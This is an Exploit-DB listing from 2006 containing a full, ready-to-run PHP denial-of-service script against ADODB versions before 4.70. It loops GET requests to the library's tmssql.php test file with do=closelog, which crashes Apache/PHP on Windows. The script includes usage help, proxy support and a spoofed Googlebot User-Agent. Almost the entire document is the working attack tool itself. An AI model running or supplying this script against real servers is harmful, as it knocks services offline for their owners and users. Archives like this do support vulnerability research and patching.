Exploit-DB #1651
Description: ADODB < 4.70 - 'tmssql.php' Denial of Service
Type: dos
Platform: php
Date: 2006-04-09
Author: rgod

Exploit:
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "ADODB tmssql.php Denial of service\r\n";
echo "by rgod rgod@autistici.org\r\n";
echo "site: http://retrogod.altervista.org\r\n\r\n";

if ($argc<4) {
echo "Usage: php ".$argv[0]." host path redo OPTIONS\r\n";
echo "host:      target server (ip/hostname)\r\n";
echo "path:      path to ADODB\r\n";
echo "redo:      how many times?\r\n";
echo "Options:\r\n";
echo "   -p[port]:    specify a port other than 80\r\n";
echo "   -P[ip:port]: specify a proxy\r\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." localhost /some_app/ 9999999\r\n";
echo "php ".$argv[0]." localhost /some_app/ 9999999 -p81\r\n";
echo "php ".$argv[0]." localhost /some_app/ 9999999 -P1.1.1.1:80\r\n";
die;
}
/*
  tested against Apache/1.3.27 (Win32) PHP/4.3.3
  
  closelog() func close the connection to the system logger, but if its handle
  is never initialized, Windows exception is raised by the php4ts.dll
  module at address 0x[PII_REDACTED]0bf014.
  By sending multiple requests to the tmssql.php script, which allow
  execution of an arbitrary function without arguments, this will cause
  the Apache process to crash and to consume a large amount of memory
*/

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port."\r\n";
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';
	}
  }
  fputs($ock,$packet);
  fclose($ock);
}

$host=$argv[1];$path=$argv[2];$redo=$argv[3];
$port=80;$proxy="";
for ($i=4; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

for ($i=1; $i<=$redo; $i++)
{
$packet ="GET ".$p."include/adodb/tests/tmssql.php?do=closelog HTTP/1.0\r\n";
$packet.="User-Agent: Googlebot/2.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
echo $packet;
}
?>

# milw0rm.com [2006-04-09]